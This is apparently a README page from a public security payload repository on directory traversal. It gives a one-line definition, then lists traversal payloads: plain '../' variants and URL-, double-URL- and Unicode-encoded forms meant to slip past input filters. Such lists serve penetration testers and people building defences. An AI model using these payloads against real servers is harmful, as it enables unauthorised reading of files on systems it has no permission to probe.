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Swissky b4aff1a826 Architecture - Files/Intruder/Images and README + template
2018-12-23 00:45:45 +01:00
..
Intruder Architecture - Files/Intruder/Images and README + template 2018-12-23 00:45:45 +01:00
README.md Markdown formatting update 2018-08-12 23:30:22 +02:00

README.md

Traversal Directory

A directory traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.

Exploit

Basic

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\

16 bit Unicode encoding

. = %u002e
/ = %u2215
\ = %u2216

Double URL encoding

. = %252e
/ = %252f
\ = %255c

UTF-8 Unicode encoding

. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

Thanks to